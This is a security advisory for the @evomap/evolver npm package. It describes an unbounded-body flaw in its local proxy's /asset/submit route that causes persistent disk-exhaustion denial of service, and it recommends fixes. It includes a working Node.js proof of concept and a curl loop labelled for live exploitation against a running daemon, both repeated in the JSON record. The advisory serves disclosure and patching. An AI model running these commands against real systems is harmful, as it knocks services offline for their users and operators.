GHSA-7XP7-M392-H92C

Vulnerability from github – Published: 2026-05-05 21:15 – Updated: 2026-05-05 21:15
VLAI?
Summary
@evomap/evolver has an unbounded request body in proxy /asset/submit that causes persistent disk-exhaustion DoS
Details

Summary

The EvoMap proxy daemon's HTTP body parser accepts requests of any size, and the POST /asset/submit route persists the full request body — verbatim and uncapped — as a JSONL line in <dataDir>/messages.jsonl. An unauthenticated local attacker (other local user, container neighbor, or malicious npm postinstall script running on the same host) can repeatedly POST large bodies to fill the disk. On restart, the daemon synchronously reads the entire file via fs.readFileSync, making the OOM/crash persistent.

Details

1. Entry — unbounded body parser (src/proxy/server/http.js:9-21):

function parseBody(req) {
  return new Promise((resolve, reject) => {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const raw = Buffer.concat(chunks).toString();
      if (!raw) return resolve({});
      try { resolve(JSON.parse(raw)); }
      catch (e) { reject(new Error('Invalid JSON body')); }
    });
    req.on('error', reject);
  });
}

There is no Content-Length validation and no cumulative-bytes cap on chunks.

2. Route — no schema or size validation (src/proxy/server/routes.js:75-85):

'POST /asset/submit': async ({ body }) => {
  if (!body.assets && !body.asset_id) {
    throw Object.assign(new Error('assets or asset_id is required'), { statusCode: 400 });
  }
  const result = store.send({
    type: 'asset_submit',
    payload: body,
    priority: body.priority || 'normal',
  });
  return { body: result };
}

The full body (including arbitrarily large body.assets[*].blob) is forwarded to store.send() as the message payload. POST /mailbox/send has the same shape.

3. Sink — unbounded JSONL append (src/proxy/mailbox/store.js):

// line 71-73
function appendLine(filePath, obj) {
  fs.appendFileSync(filePath, JSON.stringify(obj) + '\n', 'utf8');
}

// line 189-209: send() builds a message wrapping the payload and calls _appendMessage
// line 166-171: _appendMessage(msg) -> appendLine(this._messagesFile, msg)

Every /asset/submit or /mailbox/send request appends one JSONL line proportional in size to the request body. compact() (line 381) only re-writes existing messages; it does not drop or truncate large rows.

4. Persistence on restart (src/proxy/mailbox/store.js):

// line 75-86
function readLines(filePath) {
  if (!fs.existsSync(filePath)) return [];
  const content = fs.readFileSync(filePath, 'utf8');  // synchronous, full-file
  ...
}
// line 143-164: _rebuildIndex() called from constructor reads every line

A multi-GB messages.jsonl will OOM the daemon on every startup, making the DoS persistent across restarts.

5. Auth model (recon.json, confirmed by inspection of src/proxy/server/http.js:38 server.listen(port, '127.0.0.1', ...)):

"HTTP proxy has NO per-request auth (bound to 127.0.0.1 only) … No authentication on HTTP /mailbox, /asset, /task, /session, /dm routes."

Any local process can reach the daemon. Local-only access still admits multi-tenant dev hosts, sandboxes, containers sharing the host network namespace, and malicious npm dependency postinstall scripts.

6. Why not by-design. The mailbox is documented as a poll/ack message channel for short metadata. Sister code paths in the repo bound their writes (e.g. appendFailedCapsule with FAILED_CAPSULES_MAX = 200); the absence of any cap on the mailbox path is inconsistent.

PoC

Run from the repo root:

// poc-asset-submit.js
const http=require('http'),fs=require('fs'),os=require('os'),path=require('path');
const {MailboxStore}=require('./src/proxy/mailbox/store');
const {ProxyHttpServer}=require('./src/proxy/server/http');
const {buildRoutes}=require('./src/proxy/server/routes');
(async()=>{
  const dir=fs.mkdtempSync(path.join(os.tmpdir(),'poc-'));
  const store=new MailboxStore(dir);
  const handlers={assetFetch:async()=>({}),assetSearch:async()=>({}),assetValidate:async()=>({}),atpPost:async()=>({}),atpGet:async()=>({})};
  const srv=new ProxyHttpServer(buildRoutes(store,handlers,null,{}),{port:39922,logger:{log:()=>{},error:()=>{},warn:()=>{}}});
  await srv.start();
  const send=(mb)=>new Promise((res,rej)=>{
    const body='{"assets":[{"asset_id":"sha256:dead","blob":"'+'A'.repeat(mb*1024*1024)+'"}]}';
    const req=http.request({hostname:'127.0.0.1',port:39922,path:'/asset/submit',method:'POST',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(body)}},r=>{r.resume();r.on('end',res);});
    req.on('error',rej); req.write(body); req.end();
  });
  for(let i=0;i<3;i++){await send(10);console.log('messages.jsonl=',fs.statSync(path.join(dir,'messages.jsonl')).size,'bytes');}
  await srv.stop(); fs.rmSync(dir,{recursive:true});
})();

Verified output:

messages.jsonl= 10486078 bytes
messages.jsonl= 20972156 bytes
messages.jsonl= 31458234 bytes

Live exploitation against a running daemon (default port 19820):

printf '{"assets":[{"blob":"%s"}]}' "$(head -c 10485760 /dev/zero | tr '\0' A)" > /tmp/big.json
for i in $(seq 1 1000); do
  curl -s -X POST -H 'Content-Type: application/json' --data-binary @/tmp/big.json http://127.0.0.1:19820/asset/submit
done

<dataDir>/messages.jsonl grows by ~10 MiB per request with no upper bound. After ~N requests, the disk is full or the daemon OOMs on next restart while reading the file.

Impact

  • Disk exhaustion of <dataDir> filesystem (default ~/.evomap/mailbox/). Shared filesystems mean co-located services can crash too.
  • Persistent denial of service: on daemon restart, _rebuildIndex() synchronously reads the whole messages.jsonl via fs.readFileSync, OOM-killing the daemon. Operator must manually delete or truncate the file to recover.
  • Memory exhaustion during the attack: Buffer.concat(chunks).toString() materializes the entire body in memory, so large single requests can also OOM the live daemon before they hit disk.
  • Reachable from low-privilege local actors: malicious npm dependency postinstall scripts, other unprivileged users on shared dev hosts, processes in sibling containers sharing the host network namespace.

Recommended Fix

  1. Cap body size in parseBody() (src/proxy/server/http.js):
const MAX_BODY_BYTES = 1 * 1024 * 1024; // 1 MiB

function parseBody(req) {
  return new Promise((resolve, reject) => {
    const declared = Number(req.headers['content-length']);
    if (Number.isFinite(declared) && declared > MAX_BODY_BYTES) {
      const err = new Error('Request body too large');
      err.statusCode = 413;
      return reject(err);
    }
    const chunks = [];
    let received = 0;
    req.on('data', c => {
      received += c.length;
      if (received > MAX_BODY_BYTES) {
        const err = new Error('Request body too large');
        err.statusCode = 413;
        req.destroy();
        return reject(err);
      }
      chunks.push(c);
    });
    req.on('end', () => {
      const raw = Buffer.concat(chunks).toString();
      if (!raw) return resolve({});
      try { resolve(JSON.parse(raw)); }
      catch (e) { reject(new Error('Invalid JSON body')); }
    });
    req.on('error', reject);
  });
}

  1. Add a per-message payload-size budget in MailboxStore.send() / writeInbound() (src/proxy/mailbox/store.js) — reject messages whose serialized size exceeds e.g. 256 KiB, returning a 413 to the caller.

  2. Reject specifically large body.assets[*].blob / body.payload shapes in /asset/submit and /mailbox/send handlers in src/proxy/server/routes.js before calling store.send().

  3. (Defense in depth) In _rebuildIndex(), switch readLines() to a streaming line reader (readline.createInterface over fs.createReadStream) so a corrupt or oversized file degrades gracefully instead of OOM-ing on startup.

Severity ?
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.70.0-beta.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@evomap/evolver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.70.0-beta.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:15:32Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe EvoMap proxy daemon\u0027s HTTP body parser accepts requests of any size, and the `POST /asset/submit` route persists the full request body \u2014 verbatim and uncapped \u2014 as a JSONL line in `\u003cdataDir\u003e/messages.jsonl`. An unauthenticated local attacker (other local user, container neighbor, or malicious npm postinstall script running on the same host) can repeatedly POST large bodies to fill the disk. On restart, the daemon synchronously reads the entire file via `fs.readFileSync`, making the OOM/crash persistent.\n\n## Details\n\n**1. Entry \u2014 unbounded body parser** (`src/proxy/server/http.js:9-21`):\n\n```js\nfunction parseBody(req) {\n  return new Promise((resolve, reject) =\u003e {\n    const chunks = [];\n    req.on(\u0027data\u0027, c =\u003e chunks.push(c));\n    req.on(\u0027end\u0027, () =\u003e {\n      const raw = Buffer.concat(chunks).toString();\n      if (!raw) return resolve({});\n      try { resolve(JSON.parse(raw)); }\n      catch (e) { reject(new Error(\u0027Invalid JSON body\u0027)); }\n    });\n    req.on(\u0027error\u0027, reject);\n  });\n}\n```\n\nThere is no Content-Length validation and no cumulative-bytes cap on `chunks`.\n\n**2. Route \u2014 no schema or size validation** (`src/proxy/server/routes.js:75-85`):\n\n```js\n\u0027POST /asset/submit\u0027: async ({ body }) =\u003e {\n  if (!body.assets \u0026\u0026 !body.asset_id) {\n    throw Object.assign(new Error(\u0027assets or asset_id is required\u0027), { statusCode: 400 });\n  }\n  const result = store.send({\n    type: \u0027asset_submit\u0027,\n    payload: body,\n    priority: body.priority || \u0027normal\u0027,\n  });\n  return { body: result };\n}\n```\n\nThe full `body` (including arbitrarily large `body.assets[*].blob`) is forwarded to `store.send()` as the message payload. `POST /mailbox/send` has the same shape.\n\n**3. Sink \u2014 unbounded JSONL append** (`src/proxy/mailbox/store.js`):\n\n```js\n// line 71-73\nfunction appendLine(filePath, obj) {\n  fs.appendFileSync(filePath, JSON.stringify(obj) + \u0027\\n\u0027, \u0027utf8\u0027);\n}\n\n// line 189-209: send() builds a message wrapping the payload and calls _appendMessage\n// line 166-171: _appendMessage(msg) -\u003e appendLine(this._messagesFile, msg)\n```\n\nEvery `/asset/submit` or `/mailbox/send` request appends one JSONL line proportional in size to the request body. `compact()` (line 381) only re-writes existing messages; it does not drop or truncate large rows.\n\n**4. Persistence on restart** (`src/proxy/mailbox/store.js`):\n\n```js\n// line 75-86\nfunction readLines(filePath) {\n  if (!fs.existsSync(filePath)) return [];\n  const content = fs.readFileSync(filePath, \u0027utf8\u0027);  // synchronous, full-file\n  ...\n}\n// line 143-164: _rebuildIndex() called from constructor reads every line\n```\n\nA multi-GB `messages.jsonl` will OOM the daemon on every startup, making the DoS persistent across restarts.\n\n**5. Auth model** (`recon.json`, confirmed by inspection of `src/proxy/server/http.js:38` `server.listen(port, \u0027127.0.0.1\u0027, ...)`):\n\n\u003e \"HTTP proxy has NO per-request auth (bound to 127.0.0.1 only) \u2026 No authentication on HTTP /mailbox, /asset, /task, /session, /dm routes.\"\n\nAny local process can reach the daemon. Local-only access still admits multi-tenant dev hosts, sandboxes, containers sharing the host network namespace, and malicious npm dependency postinstall scripts.\n\n**6. Why not by-design.** The mailbox is documented as a poll/ack message channel for short metadata. Sister code paths in the repo bound their writes (e.g. `appendFailedCapsule` with `FAILED_CAPSULES_MAX = 200`); the absence of any cap on the mailbox path is inconsistent.\n\n## PoC\n\nRun from the repo root:\n\n```js\n// poc-asset-submit.js\nconst http=require(\u0027http\u0027),fs=require(\u0027fs\u0027),os=require(\u0027os\u0027),path=require(\u0027path\u0027);\nconst {MailboxStore}=require(\u0027./src/proxy/mailbox/store\u0027);\nconst {ProxyHttpServer}=require(\u0027./src/proxy/server/http\u0027);\nconst {buildRoutes}=require(\u0027./src/proxy/server/routes\u0027);\n(async()=\u003e{\n  const dir=fs.mkdtempSync(path.join(os.tmpdir(),\u0027poc-\u0027));\n  const store=new MailboxStore(dir);\n  const handlers={assetFetch:async()=\u003e({}),assetSearch:async()=\u003e({}),assetValidate:async()=\u003e({}),atpPost:async()=\u003e({}),atpGet:async()=\u003e({})};\n  const srv=new ProxyHttpServer(buildRoutes(store,handlers,null,{}),{port:39922,logger:{log:()=\u003e{},error:()=\u003e{},warn:()=\u003e{}}});\n  await srv.start();\n  const send=(mb)=\u003enew Promise((res,rej)=\u003e{\n    const body=\u0027{\"assets\":[{\"asset_id\":\"sha256:dead\",\"blob\":\"\u0027+\u0027A\u0027.repeat(mb*1024*1024)+\u0027\"}]}\u0027;\n    const req=http.request({hostname:\u0027127.0.0.1\u0027,port:39922,path:\u0027/asset/submit\u0027,method:\u0027POST\u0027,headers:{\u0027Content-Type\u0027:\u0027application/json\u0027,\u0027Content-Length\u0027:Buffer.byteLength(body)}},r=\u003e{r.resume();r.on(\u0027end\u0027,res);});\n    req.on(\u0027error\u0027,rej); req.write(body); req.end();\n  });\n  for(let i=0;i\u003c3;i++){await send(10);console.log(\u0027messages.jsonl=\u0027,fs.statSync(path.join(dir,\u0027messages.jsonl\u0027)).size,\u0027bytes\u0027);}\n  await srv.stop(); fs.rmSync(dir,{recursive:true});\n})();\n```\n\nVerified output:\n```\nmessages.jsonl= 10486078 bytes\nmessages.jsonl= 20972156 bytes\nmessages.jsonl= 31458234 bytes\n```\n\nLive exploitation against a running daemon (default port 19820):\n```\nprintf \u0027{\"assets\":[{\"blob\":\"%s\"}]}\u0027 \"$(head -c 10485760 /dev/zero | tr \u0027\\0\u0027 A)\" \u003e /tmp/big.json\nfor i in $(seq 1 1000); do\n  curl -s -X POST -H \u0027Content-Type: application/json\u0027 --data-binary @/tmp/big.json http://127.0.0.1:19820/asset/submit\ndone\n```\n\n`\u003cdataDir\u003e/messages.jsonl` grows by ~10 MiB per request with no upper bound. After ~N requests, the disk is full or the daemon OOMs on next restart while reading the file.\n\n## Impact\n\n- **Disk exhaustion** of `\u003cdataDir\u003e` filesystem (default `~/.evomap/mailbox/`). Shared filesystems mean co-located services can crash too.\n- **Persistent denial of service**: on daemon restart, `_rebuildIndex()` synchronously reads the whole `messages.jsonl` via `fs.readFileSync`, OOM-killing the daemon. Operator must manually delete or truncate the file to recover.\n- **Memory exhaustion** during the attack: `Buffer.concat(chunks).toString()` materializes the entire body in memory, so large single requests can also OOM the live daemon before they hit disk.\n- **Reachable from low-privilege local actors**: malicious npm dependency postinstall scripts, other unprivileged users on shared dev hosts, processes in sibling containers sharing the host network namespace.\n\n## Recommended Fix\n\n1. Cap body size in `parseBody()` (`src/proxy/server/http.js`):\n\n```js\nconst MAX_BODY_BYTES = 1 * 1024 * 1024; // 1 MiB\n\nfunction parseBody(req) {\n  return new Promise((resolve, reject) =\u003e {\n    const declared = Number(req.headers[\u0027content-length\u0027]);\n    if (Number.isFinite(declared) \u0026\u0026 declared \u003e MAX_BODY_BYTES) {\n      const err = new Error(\u0027Request body too large\u0027);\n      err.statusCode = 413;\n      return reject(err);\n    }\n    const chunks = [];\n    let received = 0;\n    req.on(\u0027data\u0027, c =\u003e {\n      received += c.length;\n      if (received \u003e MAX_BODY_BYTES) {\n        const err = new Error(\u0027Request body too large\u0027);\n        err.statusCode = 413;\n        req.destroy();\n        return reject(err);\n      }\n      chunks.push(c);\n    });\n    req.on(\u0027end\u0027, () =\u003e {\n      const raw = Buffer.concat(chunks).toString();\n      if (!raw) return resolve({});\n      try { resolve(JSON.parse(raw)); }\n      catch (e) { reject(new Error(\u0027Invalid JSON body\u0027)); }\n    });\n    req.on(\u0027error\u0027, reject);\n  });\n}\n```\n\n2. Add a per-message payload-size budget in `MailboxStore.send()` / `writeInbound()` (`src/proxy/mailbox/store.js`) \u2014 reject messages whose serialized size exceeds e.g. 256 KiB, returning a 413 to the caller.\n\n3. Reject specifically large `body.assets[*].blob` / `body.payload` shapes in `/asset/submit` and `/mailbox/send` handlers in `src/proxy/server/routes.js` before calling `store.send()`.\n\n4. (Defense in depth) In `_rebuildIndex()`, switch `readLines()` to a streaming line reader (`readline.createInterface` over `fs.createReadStream`) so a corrupt or oversized file degrades gracefully instead of OOM-ing on startup.",
  "id": "GHSA-7xp7-m392-h92c",
  "modified": "2026-05-05T21:15:32Z",
  "published": "2026-05-05T21:15:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-7xp7-m392-h92c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EvoMap/evolver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@evomap/evolver has an unbounded request body in proxy /asset/submit that causes persistent disk-exhaustion DoS"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.